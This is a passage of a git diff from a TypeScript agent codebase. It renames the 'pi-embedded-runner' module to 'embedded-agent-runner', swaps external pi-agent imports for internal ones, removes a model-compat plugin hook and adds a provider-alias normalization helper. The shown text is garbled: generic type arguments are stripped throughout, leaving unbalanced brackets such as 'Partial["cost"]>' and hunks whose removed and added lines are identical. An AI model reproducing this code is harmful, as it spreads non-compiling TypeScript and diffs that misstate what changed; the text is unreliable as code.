prepareProviderDynamicModel: async () => {}, runProviderDynamicModel: () => undefined, diff --git a/src/agents/pi-embedded-runner/model.ts b/src/agents/embedded-agent-runner/model.ts similarity index 92% rename from src/agents/pi-embedded-runner/model.ts rename to src/agents/embedded-agent-runner/model.ts index fee53cc5242..ad761dae843 100644 --- a/src/agents/pi-embedded-runner/model.ts +++ b/src/agents/embedded-agent-runner/model.ts @@ -1,15 +1,9 @@ -import type { Api, Model } from "@earendil-works/pi-ai"; -import { - AuthStorage as PiAuthStorageClass, - ModelRegistry as PiModelRegistryClass, - type AuthStorage, - type ModelRegistry, -} from "@earendil-works/pi-coding-agent"; import type { ModelCompatConfig, ModelMediaInputConfig } from "../../config/types.models.js"; import type { OpenClawConfig } from "../../config/types.openclaw.js"; +import type { ModelRegistry as CoreModelRegistry } from "../../llm/model-registry.js"; +import type { Api, Model } from "../../llm/types.js"; import type { ProviderRuntimeModel } from "../../plugins/provider-runtime-model.types.js"; import { - applyProviderResolvedModelCompatWithPlugins, applyProviderResolvedTransportWithPlugin, buildProviderUnknownModelHintWithPlugin, normalizeProviderTransportWithPlugin, @@ -18,6 +12,7 @@ import { normalizeProviderResolvedModelWithPlugin, shouldPreferProviderRuntimeResolvedModel, } from "../../plugins/provider-runtime.js"; +import { discoverAuthStorage, discoverModels } from "../agent-model-discovery.js"; import { resolveDefaultAgentDir } from "../agent-scope.js"; import { DEFAULT_CONTEXT_TOKENS } from "../defaults.js"; import { buildModelAliasLines } from "../model-alias-lines.js"; @@ -28,14 +23,19 @@ import { shouldSuppressBuiltInModel, shouldUnconditionallySuppress, } from "../model-suppression.js"; -import { discoverAuthStorage, discoverModels } from "../pi-model-discovery.js"; import { attachModelProviderLocalService } from "../provider-local-service.js"; import { attachModelProviderRequestTransport, resolveProviderRequestConfig, sanitizeConfiguredModelProviderRequest, } from "../provider-request-config.js"; -import { discoverCachedPiStores } from "./model-discovery-cache.js"; +import { + AuthStorage as AgentAuthStorageClass, + ModelRegistry as AgentModelRegistryClass, + type AuthStorage, + type ModelRegistry, +} from "../sessions/index.js"; +import { discoverCachedAgentStores } from "./model-discovery-cache.js"; import { buildInlineProviderModels, type InlineProviderConfig, @@ -44,12 +44,12 @@ import { sanitizeModelHeaders, } from "./model.inline-provider.js"; import { normalizeResolvedProviderModel } from "./model.provider-normalization.js"; -import { resolveBundledStaticCatalogModel } from "./model.static-catalog.js"; +import { + canonicalizeManifestModelCatalogProviderAlias, + resolveBundledStaticCatalogModel, +} from "./model.static-catalog.js"; type ProviderRuntimeHooks = { - applyProviderResolvedModelCompatWithPlugins?: ( - params: Parameters[0], - ) => unknown; applyProviderResolvedTransportWithPlugin?: ( params: Parameters[0], ) => unknown; @@ -77,20 +77,17 @@ const TARGET_PROVIDER_RUNTIME_HOOKS: ProviderRuntimeHooks = { normalizeProviderResolvedModelWithPlugin, // Target-provider resolution keeps owner hooks, but avoids broad // cross-provider hooks that can load unrelated bundled provider runtimes. - applyProviderResolvedModelCompatWithPlugins: () => undefined, applyProviderResolvedTransportWithPlugin: () => undefined, normalizeProviderTransportWithPlugin: () => undefined, }; const DEFAULT_PROVIDER_RUNTIME_HOOKS: ProviderRuntimeHooks = { ...TARGET_PROVIDER_RUNTIME_HOOKS, - applyProviderResolvedModelCompatWithPlugins, applyProviderResolvedTransportWithPlugin, normalizeProviderTransportWithPlugin, }; const STATIC_PROVIDER_RUNTIME_HOOKS: ProviderRuntimeHooks = { - applyProviderResolvedModelCompatWithPlugins: () => undefined, applyProviderResolvedTransportWithPlugin: () => undefined, buildProviderUnknownModelHintWithPlugin: () => undefined, prepareProviderDynamicModel: async () => {}, @@ -99,30 +96,30 @@ const STATIC_PROVIDER_RUNTIME_HOOKS: ProviderRuntimeHooks = { normalizeProviderTransportWithPlugin: () => undefined, }; -const SKIP_PI_DISCOVERY_PROVIDER_RUNTIME_HOOKS: ProviderRuntimeHooks = { - // skipPiDiscovery is the lean path used before PI discovery/models.json has run. +const SKIP_AGENT_DISCOVERY_PROVIDER_RUNTIME_HOOKS: ProviderRuntimeHooks = { + // skipAgentDiscovery is the lean path used before agent discovery/models.json has run. ...TARGET_PROVIDER_RUNTIME_HOOKS, }; -function createEmptyPiDiscoveryStores(): { +function createEmptyAgentDiscoveryStores(): { authStorage: AuthStorage; modelRegistry: ModelRegistry; } { const authStorage = - typeof PiAuthStorageClass.inMemory === "function" - ? PiAuthStorageClass.inMemory({}) - : PiAuthStorageClass.create(); + typeof AgentAuthStorageClass.inMemory === "function" + ? AgentAuthStorageClass.inMemory({}) + : AgentAuthStorageClass.create(); const modelRegistry = - typeof PiModelRegistryClass.inMemory === "function" - ? PiModelRegistryClass.inMemory(authStorage) - : PiModelRegistryClass.create(authStorage); + typeof AgentModelRegistryClass.inMemory === "function" + ? AgentModelRegistryClass.inMemory(authStorage) + : AgentModelRegistryClass.create(authStorage); return { authStorage, modelRegistry }; } function resolveRuntimeHooks(params?: { runtimeHooks?: ProviderRuntimeHooks; skipProviderRuntimeHooks?: boolean; - skipPiDiscovery?: boolean; + skipAgentDiscovery?: boolean; }): ProviderRuntimeHooks { if (params?.skipProviderRuntimeHooks) { return STATIC_PROVIDER_RUNTIME_HOOKS; @@ -130,29 +127,26 @@ function resolveRuntimeHooks(params?: { if (params?.runtimeHooks) { return params.runtimeHooks; } - if (params?.skipPiDiscovery) { - return SKIP_PI_DISCOVERY_PROVIDER_RUNTIME_HOOKS; + if (params?.skipAgentDiscovery) { + return SKIP_AGENT_DISCOVERY_PROVIDER_RUNTIME_HOOKS; } return DEFAULT_PROVIDER_RUNTIME_HOOKS; } -function discoverCachedPiStoresForAgent( +function discoverCachedAgentStoresForAgent( resolvedAgentDir: string, cfg: OpenClawConfig | undefined, ): { authStorage: AuthStorage; modelRegistry: ModelRegistry; } { - return discoverCachedPiStores({ + return discoverCachedAgentStores({ agentDir: resolvedAgentDir, inheritedAuthDir: resolveDefaultAgentDir(cfg ?? {}), }); } -function canonicalizeLegacyResolvedModel(params: { - provider: string; - model: Model; -}): Model { +function canonicalizeLegacyResolvedModel(params: { provider: string; model: Model }): Model { if ( normalizeProviderId(params.provider) !== "openai-codex" || params.model.id.trim().toLowerCase() !== "gpt-5.4-codex" @@ -172,8 +166,8 @@ function applyResolvedTransportFallback(params: { cfg?: OpenClawConfig; workspaceDir?: string; runtimeHooks: ProviderRuntimeHooks; - model: Model; -}): Model | undefined { + model: Model; +}): Model | undefined { const normalized = params.runtimeHooks.normalizeProviderTransportWithPlugin({ provider: params.provider, config: params.cfg, @@ -203,17 +197,17 @@ function applyResolvedTransportFallback(params: { function normalizeResolvedModel(params: { provider: string; - model: Model; + model: Model; cfg?: OpenClawConfig; agentDir?: string; workspaceDir?: string; runtimeHooks?: ProviderRuntimeHooks; -}): Model { - const normalizeModelCost = (cost: unknown): Model["cost"] => { +}): Model { + const normalizeModelCost = (cost: unknown): Model["cost"] => { if (!cost || typeof cost !== "object" || Array.isArray(cost)) { return { input: 0, output: 0, cacheRead: 0, cacheWrite: 0 }; } - const record = cost as Partial["cost"]>; + const record = cost as Partial; const input = typeof record.input === "number" && Number.isFinite(record.input) ? record.input : 0; const output = @@ -232,7 +226,7 @@ function normalizeResolvedModel(params: { cacheRead === record.cacheRead && cacheWrite === record.cacheWrite ) { - return record as Model["cost"]; + return record as Model["cost"]; } return { ...cost, @@ -252,7 +246,7 @@ function normalizeResolvedModel(params: { input: params.model.input, }), cost: normalizeModelCost((params.model as { cost?: unknown }).cost), - } as Model; + } as Model; const runtimeHooks = params.runtimeHooks ?? DEFAULT_PROVIDER_RUNTIME_HOOKS; const pluginNormalized = runtimeHooks.normalizeProviderResolvedModelWithPlugin({ provider: params.provider, @@ -266,8 +260,8 @@ function normalizeResolvedModel(params: { modelId: normalizedInputModel.id, model: normalizedInputModel, }, - }) as Model | undefined; - const compatNormalized = runtimeHooks.applyProviderResolvedModelCompatWithPlugins?.({ + }) as Model | undefined; + const transportNormalized = runtimeHooks.applyProviderResolvedTransportWithPlugin?.({ provider: params.provider, config: params.cfg, workspaceDir: params.workspaceDir, @@ -279,20 +273,7 @@ function normalizeResolvedModel(params: { modelId: normalizedInputModel.id, model: (pluginNormalized ?? normalizedInputModel) as never, }, - }) as Model | undefined; - const transportNormalized = runtimeHooks.applyProviderResolvedTransportWithPlugin?.({ - provider: params.provider, - config: params.cfg, - workspaceDir: params.workspaceDir, - context: { - config: params.cfg, - agentDir: params.agentDir, - workspaceDir: params.workspaceDir, - provider: params.provider, - modelId: normalizedInputModel.id, - model: (compatNormalized ?? pluginNormalized ?? normalizedInputModel) as never, - }, - }) as Model | undefined; + }) as Model | undefined; const fallbackTransportNormalized = transportNormalized ?? applyResolvedTransportFallback({ @@ -300,14 +281,13 @@ function normalizeResolvedModel(params: { cfg: params.cfg, workspaceDir: params.workspaceDir, runtimeHooks, - model: compatNormalized ?? pluginNormalized ?? normalizedInputModel, + model: pluginNormalized ?? normalizedInputModel, }); return canonicalizeLegacyResolvedModel({ provider: params.provider, model: normalizeResolvedProviderModel({ provider: params.provider, - model: - fallbackTransportNormalized ?? compatNormalized ?? pluginNormalized ?? normalizedInputModel, + model: fallbackTransportNormalized ?? pluginNormalized ?? normalizedInputModel, }), }); } @@ -747,12 +727,12 @@ function applyConfiguredProviderOverrides(params: { function resolveExplicitModelWithRegistry(params: { provider: string; modelId: string; - modelRegistry: ModelRegistry; + modelRegistry: CoreModelRegistry; cfg?: OpenClawConfig; agentDir?: string; workspaceDir?: string; runtimeHooks?: ProviderRuntimeHooks; -}): { kind: "resolved"; model: Model } | { kind: "suppressed" } | undefined { +}): { kind: "resolved"; model: Model } | { kind: "suppressed" } | undefined { const { provider, modelId, modelRegistry, cfg, agentDir, workspaceDir, runtimeHooks } = params; const providerConfig = resolveConfiguredProviderConfig(cfg, provider); const requestTimeoutMs = resolveProviderRequestTimeoutMs(providerConfig?.timeoutSeconds); @@ -793,7 +773,7 @@ function resolveExplicitModelWithRegistry(params: { }), ...(resolvedParams ? { params: resolvedParams } : {}), ...(requestTimeoutMs !== undefined ? { requestTimeoutMs } : {}), - } as Model, + } as Model, runtimeHooks, }), }; @@ -808,7 +788,7 @@ function resolveExplicitModelWithRegistry(params: { ) { return { kind: "suppressed" }; } - const model = modelRegistry.find(provider, modelId) as Model | null; + const model = modelRegistry.find(provider, modelId) as Model | null; if (model) { return { @@ -862,7 +842,7 @@ function resolveExplicitModelWithRegistry(params: { }), ...(resolvedParams ? { params: resolvedParams } : {}), ...(requestTimeoutMs !== undefined ? { requestTimeoutMs } : {}), - } as Model, + } as Model, runtimeHooks, }), }; @@ -874,12 +854,12 @@ function resolveExplicitModelWithRegistry(params: { function resolvePluginDynamicModelWithRegistry(params: { provider: string; modelId: string; - modelRegistry: ModelRegistry; + modelRegistry: CoreModelRegistry; cfg?: OpenClawConfig; agentDir?: string; workspaceDir?: string; runtimeHooks?: ProviderRuntimeHooks; -}): Model | undefined { +}): Model | undefined { const { provider, modelId, modelRegistry, cfg, agentDir, workspaceDir } = params; const runtimeHooks = params.runtimeHooks ?? DEFAULT_PROVIDER_RUNTIME_HOOKS; const providerConfig = resolveConfiguredProviderConfig(cfg, provider); @@ -904,7 +884,7 @@ function resolvePluginDynamicModelWithRegistry(params: { modelRegistry, providerConfig, }, - }) as Model | undefined; + }) as Model | undefined; if (!pluginDynamicModel) { return undefined; } @@ -935,7 +915,7 @@ function resolveConfiguredFallbackModel(params: { agentDir?: string; workspaceDir?: string; runtimeHooks?: ProviderRuntimeHooks; -}): Model | undefined { +}): Model | undefined { const { provider, modelId, cfg, agentDir, workspaceDir, runtimeHooks } = params; const providerConfig = resolveConfiguredProviderConfig(cfg, provider); const requestTimeoutMs = resolveProviderRequestTimeoutMs(providerConfig?.timeoutSeconds); @@ -1024,7 +1004,7 @@ function resolveConfiguredFallbackModel(params: { headers: requestConfig.headers, compat: configuredModel?.compat, mediaInput: configuredModel?.mediaInput, - } as Model, + } as Model, providerRequest, ), providerConfig?.localService, @@ -1123,36 +1103,49 @@ function mergeModelCompat( } function preferProviderRuntimeResolvedModel(params: { - explicitModel: Model; - runtimeResolvedModel?: Model; -}): Model { + explicitModel: Model; + runtimeResolvedModel?: Model; +}): Model { if (params.runtimeResolvedModel) { return params.runtimeResolvedModel; } return params.explicitModel; } +function normalizeProviderModelRef(params: { + provider: string; + modelId: string; + cfg?: OpenClawConfig; + workspaceDir?: string; +}): { provider: string; model: string } { + const provider = canonicalizeManifestModelCatalogProviderAlias({ + provider: params.provider, + cfg: params.cfg, + workspaceDir: params.workspaceDir, + }); + return { + provider, + model: normalizeStaticProviderModelId(normalizeProviderId(provider), params.modelId), + }; +} + export function resolveModelWithRegistry(params: { provider: string; modelId: string; - modelRegistry: ModelRegistry; + modelRegistry: CoreModelRegistry; cfg?: OpenClawConfig; agentDir?: string; workspaceDir?: string; runtimeHooks?: ProviderRuntimeHooks; -}): Model | undefined { - const normalizedRef = { - provider: params.provider, - model: normalizeStaticProviderModelId(normalizeProviderId(params.provider), params.modelId), - }; +}): Model | undefined { + const workspaceDir = params.workspaceDir ?? params.cfg?.agents?.defaults?.workspace; + const normalizedRef = normalizeProviderModelRef({ ...params, workspaceDir }); const normalizedParams = { ...params, provider: normalizedRef.provider, modelId: normalizedRef.model, }; const runtimeHooks = params.runtimeHooks ?? DEFAULT_PROVIDER_RUNTIME_HOOKS; - const workspaceDir = - normalizedParams.workspaceDir ?? normalizedParams.cfg?.agents?.defaults?.workspace; const scopedParams = { ...normalizedParams, ...(workspaceDir !== undefined ? { workspaceDir } : {}), @@ -1201,20 +1194,17 @@ export function resolveModel( workspaceDir?: string; }, ): { - model?: Model; + model?: Model; error?: string; authStorage: AuthStorage; modelRegistry: ModelRegistry; } { - const normalizedRef = { - provider, - model: normalizeStaticProviderModelId(normalizeProviderId(provider), modelId), - }; - const resolvedAgentDir = agentDir ?? resolveDefaultAgentDir(cfg ?? {}); const workspaceDir = options?.workspaceDir ?? cfg?.agents?.defaults?.workspace; + const normalizedRef = normalizeProviderModelRef({ provider, modelId, cfg, workspaceDir }); + const resolvedAgentDir = agentDir ?? resolveDefaultAgentDir(cfg ?? {}); const cachedStores = !options?.authStorage && !options?.modelRegistry - ? discoverCachedPiStoresForAgent(resolvedAgentDir, cfg) + ? discoverCachedAgentStoresForAgent(resolvedAgentDir, cfg) : undefined; const authStorage = options?.authStorage ?? cachedStores?.authStorage ?? discoverAuthStorage(resolvedAgentDir); @@ -1262,28 +1252,25 @@ export async function resolveModelAsync( retryTransientProviderRuntimeMiss?: boolean; runtimeHooks?: ProviderRuntimeHooks; skipProviderRuntimeHooks?: boolean; - skipPiDiscovery?: boolean; + skipAgentDiscovery?: boolean; workspaceDir?: string; }, ): Promise<{ - model?: Model; + model?: Model; error?: string; authStorage: AuthStorage; modelRegistry: ModelRegistry; }> { - const normalizedRef = { - provider, - model: normalizeStaticProviderModelId(normalizeProviderId(provider), modelId), - }; - const resolvedAgentDir = agentDir ?? resolveDefaultAgentDir(cfg ?? {}); const workspaceDir = options?.workspaceDir ?? cfg?.agents?.defaults?.workspace; + const normalizedRef = normalizeProviderModelRef({ provider, modelId, cfg, workspaceDir }); + const resolvedAgentDir = agentDir ?? resolveDefaultAgentDir(cfg ?? {}); const emptyDiscoveryStores = - options?.skipPiDiscovery && (!options.authStorage || !options.modelRegistry) - ? createEmptyPiDiscoveryStores() + options?.skipAgentDiscovery && (!options.authStorage || !options.modelRegistry) + ? createEmptyAgentDiscoveryStores() : undefined; const cachedStores = !emptyDiscoveryStores && !options?.authStorage && !options?.modelRegistry - ? discoverCachedPiStoresForAgent(resolvedAgentDir, cfg) + ? discoverCachedAgentStoresForAgent(resolvedAgentDir, cfg) : undefined; const authStorage = options?.authStorage ?? diff --git a/src/agents/pi-embedded-runner/openrouter-model-capabilities.test.ts b/src/agents/embedded-agent-runner/openrouter-model-capabilities.test.ts similarity index 100% rename from src/agents/pi-embedded-runner/openrouter-model-capabilities.test.ts rename to src/agents/embedded-agent-runner/openrouter-model-capabilities.test.ts diff --git a/src/agents/pi-embedded-runner/openrouter-model-capabilities.ts b/src/agents/embedded-agent-runner/openrouter-model-capabilities.ts similarity index 100% rename from src/agents/pi-embedded-runner/openrouter-model-capabilities.ts rename to src/agents/embedded-agent-runner/openrouter-model-capabilities.ts diff --git a/src/agents/pi-embedded-runner/post-compaction-loop-guard.test.ts b/src/agents/embedded-agent-runner/post-compaction-loop-guard.test.ts similarity index 100% rename from src/agents/pi-embedded-runner/post-compaction-loop-guard.test.ts rename to src/agents/embedded-agent-runner/post-compaction-loop-guard.test.ts diff --git a/src/agents/pi-embedded-runner/post-compaction-loop-guard.ts b/src/agents/embedded-agent-runner/post-compaction-loop-guard.ts similarity index 100% rename from src/agents/pi-embedded-runner/post-compaction-loop-guard.ts rename to src/agents/embedded-agent-runner/post-compaction-loop-guard.ts diff --git a/src/agents/pi-embedded-runner/prompt-cache-observability.test.ts b/src/agents/embedded-agent-runner/prompt-cache-observability.test.ts similarity index 100% rename from src/agents/pi-embedded-runner/prompt-cache-observability.test.ts rename to src/agents/embedded-agent-runner/prompt-cache-observability.test.ts diff --git a/src/agents/pi-embedded-runner/prompt-cache-observability.ts b/src/agents/embedded-agent-runner/prompt-cache-observability.ts similarity index 100% rename from src/agents/pi-embedded-runner/prompt-cache-observability.ts rename to src/agents/embedded-agent-runner/prompt-cache-observability.ts diff --git a/src/agents/pi-embedded-runner/prompt-cache-retention.test.ts b/src/agents/embedded-agent-runner/prompt-cache-retention.test.ts similarity index 100% rename from src/agents/pi-embedded-runner/prompt-cache-retention.test.ts rename to src/agents/embedded-agent-runner/prompt-cache-retention.test.ts diff --git a/src/agents/pi-embedded-runner/prompt-cache-retention.ts b/src/agents/embedded-agent-runner/prompt-cache-retention.ts similarity index 94% rename from src/agents/pi-embedded-runner/prompt-cache-retention.ts rename to src/agents/embedded-agent-runner/prompt-cache-retention.ts index 8633aa8022a..0745ba698bb 100644 --- a/src/agents/pi-embedded-runner/prompt-cache-retention.ts +++ b/src/agents/embedded-agent-runner/prompt-cache-retention.ts @@ -1,5 +1,5 @@ +import { resolveAnthropicCacheRetentionFamily } from "../../llm/providers/stream-wrappers/anthropic-family-cache-semantics.js"; import { normalizeLowercaseStringOrEmpty } from "../../shared/string-coerce.js"; -import { resolveAnthropicCacheRetentionFamily } from "./anthropic-family-cache-semantics.js"; type CacheRetention = "none" | "short" | "long"; diff --git a/src/agents/pi-embedded-runner/replay-history.test.ts b/src/agents/embedded-agent-runner/replay-history.test.ts similarity index 99% rename from src/agents/pi-embedded-runner/replay-history.test.ts rename to src/agents/embedded-agent-runner/replay-history.test.ts index cd1f8cf6eff..31cc68a0df5 100644 --- a/src/agents/pi-embedded-runner/replay-history.test.ts +++ b/src/agents/embedded-agent-runner/replay-history.test.ts @@ -1,4 +1,4 @@ -import type { AgentMessage } from "@earendil-works/pi-agent-core"; +import type { AgentMessage } from "openclaw/plugin-sdk/agent-core"; import { describe, expect, it } from "vitest"; import { INTERNAL_RUNTIME_CONTEXT_BEGIN, diff --git a/src/agents/pi-embedded-runner/replay-history.ts b/src/agents/embedded-agent-runner/replay-history.ts similarity index 98% rename from src/agents/pi-embedded-runner/replay-history.ts rename to src/agents/embedded-agent-runner/replay-history.ts index 48d64e34109..50f73df6116 100644 --- a/src/agents/pi-embedded-runner/replay-history.ts +++ b/src/agents/embedded-agent-runner/replay-history.ts @@ -1,5 +1,3 @@ -import type { AgentMessage } from "@earendil-works/pi-agent-core"; -import type { SessionManager } from "@earendil-works/pi-coding-agent"; import { stripInternalMetadataForDisplay } from "../../auto-reply/reply/display-text-sanitize.js"; import { isSilentReplyPayloadText, SILENT_REPLY_TOKEN } from "../../auto-reply/tokens.js"; import type { OpenClawConfig } from "../../config/types.openclaw.js"; @@ -17,8 +15,6 @@ import { hasInterSessionUserProvenance, normalizeInputProvenance, } from "../../sessions/input-provenance.js"; -import { asFiniteNumber } from "../../shared/number-coercion.js"; -import { resolveImageSanitizationLimits } from "../image-sanitization.js"; import { downgradeOpenAIFunctionCallReasoningPairs, downgradeOpenAIReasoningBlocks, @@ -27,12 +23,15 @@ import { sanitizeSessionMessagesImages, validateAnthropicTurns, validateGeminiTurns, -} from "../pi-embedded-helpers.js"; +} from "../embedded-agent-helpers.js"; +import { resolveImageSanitizationLimits } from "../image-sanitization.js"; +import type { AgentMessage } from "../runtime/index.js"; import { sanitizeToolCallInputs, sanitizeToolUseResultPairing, stripToolResultDetails, } from "../session-transcript-repair.js"; +import type { SessionManager } from "../sessions/index.js"; import { STREAM_ERROR_FALLBACK_TEXT } from "../stream-message-shared.js"; import { sanitizeToolCallIdsForCloudCodeAssist } from "../tool-call-id.js"; import type { TranscriptPolicy } from "../transcript-policy.js"; @@ -220,7 +219,7 @@ function stripStaleAssistantUsageBeforeLatestCompaction(messages: AgentMessage[] continue; } - // pi-coding-agent expects assistant usage to always be present during context + // session runtime expects assistant usage to always be present during context // accounting. Keep stale snapshots structurally valid, but zeroed out. const candidateRecord = candidate as unknown as Record; out[i] = { @@ -539,7 +538,7 @@ function normalizeAssistantUsageCost(usage: unknown): AssistantUsageSnapshot["co } function toFiniteCostNumber(value: unknown): number | undefined { - return asFiniteNumber(value); + return typeof value === "number" && Number.isFinite(value) ? value : undefined; } function ensureAssistantUsageSnapshots(messages: AgentMessage[]): AgentMessage[] { diff --git a/src/agents/pi-embedded-runner/replay-state.ts b/src/agents/embedded-agent-runner/replay-state.ts similarity index 100% rename from src/agents/pi-embedded-runner/replay-state.ts rename to src/agents/embedded-agent-runner/replay-state.ts diff --git a/src/agents/pi-embedded-runner/resource-loader.test.ts b/src/agents/embedded-agent-runner/resource-loader.test.ts similarity index 63% rename from src/agents/pi-embedded-runner/resource-loader.test.ts rename to src/agents/embedded-agent-runner/resource-loader.test.ts index 242596b9524..e37403b3e8e 100644 --- a/src/agents/pi-embedded-runner/resource-loader.test.ts +++ b/src/agents/embedded-agent-runner/resource-loader.test.ts @@ -1,11 +1,11 @@ -import { DefaultResourceLoader } from "@earendil-works/pi-coding-agent"; import { describe, expect, it, vi } from "vitest"; +import { DefaultResourceLoader } from "../sessions/index.js"; import { - createEmbeddedPiResourceLoader, - EMBEDDED_PI_RESOURCE_LOADER_DISCOVERY_OPTIONS, + createEmbeddedAgentResourceLoader, + EMBEDDED_AGENT_RESOURCE_LOADER_DISCOVERY_OPTIONS, } from "./resource-loader.js"; -vi.mock("@earendil-works/pi-coding-agent", () => ({ +vi.mock("../sessions/index.js", () => ({ DefaultResourceLoader: vi.fn(function DefaultResourceLoader( this: Record, options: unknown, @@ -17,12 +17,12 @@ vi.mock("@earendil-works/pi-coding-agent", () => ({ }), })); -describe("createEmbeddedPiResourceLoader", () => { - it("keeps inline extensions but disables Pi filesystem discovery", () => { +describe("createEmbeddedAgentResourceLoader", () => { + it("keeps inline extensions but disables filesystem discovery", () => { const settingsManager = {}; const extensionFactories = [vi.fn()]; - createEmbeddedPiResourceLoader({ + createEmbeddedAgentResourceLoader({ cwd: "/workspace", agentDir: "/agent", settingsManager: settingsManager as never, @@ -34,7 +34,7 @@ describe("createEmbeddedPiResourceLoader", () => { agentDir: "/agent", settingsManager, extensionFactories, - ...EMBEDDED_PI_RESOURCE_LOADER_DISCOVERY_OPTIONS, + ...EMBEDDED_AGENT_RESOURCE_LOADER_DISCOVERY_OPTIONS, }); }); }); diff --git a/src/agents/pi-embedded-runner/resource-loader.ts b/src/agents/embedded-agent-runner/resource-loader.ts similarity index 65% rename from src/agents/pi-embedded-runner/resource-loader.ts rename to src/agents/embedded-agent-runner/resource-loader.ts index 0f122d21792..f41abbc528a 100644 --- a/src/agents/pi-embedded-runner/resource-loader.ts +++ b/src/agents/embedded-agent-runner/resource-loader.ts @@ -1,8 +1,8 @@ -import { DefaultResourceLoader } from "@earendil-works/pi-coding-agent"; +import { DefaultResourceLoader } from "../sessions/index.js"; type DefaultResourceLoaderInit = ConstructorParameters[0]; -export const EMBEDDED_PI_RESOURCE_LOADER_DISCOVERY_OPTIONS = { +export const EMBEDDED_AGENT_RESOURCE_LOADER_DISCOVERY_OPTIONS = { noExtensions: true, noSkills: true, noPromptTemplates: true, @@ -10,7 +10,7 @@ export const EMBEDDED_PI_RESOURCE_LOADER_DISCOVERY_OPTIONS = { noContextFiles: true, } satisfies Partial; -export function createEmbeddedPiResourceLoader( +export function createEmbeddedAgentResourceLoader( options: Pick< DefaultResourceLoaderInit, "cwd" | "agentDir" | "settingsManager" | "extensionFactories" @@ -18,6 +18,6 @@ export function createEmbeddedPiResourceLoader( ): DefaultResourceLoader { return new DefaultResourceLoader({ ...options, - ...EMBEDDED_PI_RESOURCE_LOADER_DISCOVERY_OPTIONS, + ...EMBEDDED_AGENT_RESOURCE_LOADER_DISCOVERY_OPTIONS, }); } diff --git a/src/agents/pi-embedded-runner/result-fallback-classifier.test.ts b/src/agents/embedded-agent-runner/result-fallback-classifier.test.ts similarity index 68% rename from src/agents/pi-embedded-runner/result-fallback-classifier.test.ts rename to src/agents/embedded-agent-runner/result-fallback-classifier.test.ts index d56569cbb91..98015d9d113 100644 --- a/src/agents/pi-embedded-runner/result-fallback-classifier.test.ts +++ b/src/agents/embedded-agent-runner/result-fallback-classifier.test.ts @@ -1,10 +1,10 @@ import { describe, expect, it } from "vitest"; -import { classifyEmbeddedPiRunResultForModelFallback } from "./result-fallback-classifier.js"; +import { classifyEmbeddedAgentRunResultForModelFallback } from "./result-fallback-classifier.js"; -describe("classifyEmbeddedPiRunResultForModelFallback", () => { +describe("classifyEmbeddedAgentRunResultForModelFallback", () => { it("does not fallback when sessions_spawn accepted a child session", () => { expect( - classifyEmbeddedPiRunResultForModelFallback({ + classifyEmbeddedAgentRunResultForModelFallback({ provider: "mock-openai", model: "gpt-5.5", result: { diff --git a/src/agents/pi-embedded-runner/result-fallback-classifier.ts b/src/agents/embedded-agent-runner/result-fallback-classifier.ts similarity index 91% rename from src/agents/pi-embedded-runner/result-fallback-classifier.ts rename to src/agents/embedded-agent-runner/result-fallback-classifier.ts index 124787dc213..fdecae2352e 100644 --- a/src/agents/pi-embedded-runner/result-fallback-classifier.ts +++ b/src/agents/embedded-agent-runner/result-fallback-classifier.ts @@ -2,12 +2,12 @@ import { isSilentReplyPayloadText } from "../../auto-reply/tokens.js"; import { isGpt5ModelId } from "../gpt5-prompt-overlay.js"; import type { ModelFallbackResultClassification } from "../model-fallback.js"; import { hasOutboundDeliveryEvidence, hasVisibleAgentPayload } from "./delivery-evidence.js"; -import type { EmbeddedPiRunResult } from "./types.js"; +import type { EmbeddedAgentRunResult } from "./types.js"; const EMPTY_TERMINAL_REPLY_RE = /Agent couldn't generate a response/i; const PLAN_ONLY_TERMINAL_REPLY_RE = /Agent stopped after repeated plan-only turns/i; -function isEmbeddedPiRunResult(value: unknown): value is EmbeddedPiRunResult { +function isEmbeddedAgentRunResult(value: unknown): value is EmbeddedAgentRunResult { return Boolean( value && typeof value === "object" && @@ -17,7 +17,7 @@ function isEmbeddedPiRunResult(value: unknown): value is EmbeddedPiRunResult { ); } -function hasDeliberateSilentTerminalReply(result: EmbeddedPiRunResult): boolean { +function hasDeliberateSilentTerminalReply(result: EmbeddedAgentRunResult): boolean { if (result.meta.error?.kind === "hook_block") { return true; } @@ -29,7 +29,7 @@ function hasDeliberateSilentTerminalReply(result: EmbeddedPiRunResult): boolean function classifyHarnessResult(params: { provider: string; model: string; - result: EmbeddedPiRunResult; + result: EmbeddedAgentRunResult; }): ModelFallbackResultClassification { switch (params.result.meta.agentHarnessResultClassification) { case "empty": @@ -55,14 +55,14 @@ function classifyHarnessResult(params: { } } -export function classifyEmbeddedPiRunResultForModelFallback(params: { +export function classifyEmbeddedAgentRunResultForModelFallback(params: { provider: string; model: string; result: unknown; hasDirectlySentBlockReply?: boolean; hasBlockReplyPipelineOutput?: boolean; }): ModelFallbackResultClassification { - if (!isEmbeddedPiRunResult(params.result)) { + if (!isEmbeddedAgentRunResult(params.result)) { return null; } if ( diff --git a/src/agents/pi-embedded-runner/run-state.ts b/src/agents/embedded-agent-runner/run-state.ts similarity index 91% rename from src/agents/pi-embedded-runner/run-state.ts rename to src/agents/embedded-agent-runner/run-state.ts index 28553cf2de2..1c29d865927 100644 --- a/src/agents/pi-embedded-runner/run-state.ts +++ b/src/agents/embedded-agent-runner/run-state.ts @@ -6,9 +6,9 @@ import { } from "../../auto-reply/reply/reply-run-registry.js"; import { resolveGlobalSingleton } from "../../shared/global-singleton.js"; -export type EmbeddedPiQueueHandle = { +export type EmbeddedAgentQueueHandle = { kind?: "embedded"; - queueMessage: (text: string, options?: EmbeddedPiQueueMessageOptions) => Promise; + queueMessage: (text: string, options?: EmbeddedAgentQueueMessageOptions) => Promise; isStreaming: () => boolean; isCompacting: () => boolean; supportsTranscriptCommitWait?: boolean; @@ -17,7 +17,7 @@ export type EmbeddedPiQueueHandle = { sourceReplyDeliveryMode?: SourceReplyDeliveryMode; }; -export type EmbeddedPiQueueMessageOptions = { +export type EmbeddedAgentQueueMessageOptions = { steeringMode?: "all"; debounceMs?: number; deliveryTimeoutMs?: number; @@ -46,7 +46,7 @@ export type EmbeddedRunWaiter = { const EMBEDDED_RUN_STATE_KEY = Symbol.for("openclaw.embeddedRunState"); const embeddedRunState = resolveGlobalSingleton(EMBEDDED_RUN_STATE_KEY, () => ({ - activeRuns: new Map(), + activeRuns: new Map(), snapshots: new Map(), sessionIdsByKey: new Map(), sessionIdsByFile: new Map(), @@ -56,7 +56,7 @@ const embeddedRunState = resolveGlobalSingleton(EMBEDDED_RUN_STATE_KEY, () => ({ export const ACTIVE_EMBEDDED_RUNS = embeddedRunState.activeRuns ?? - 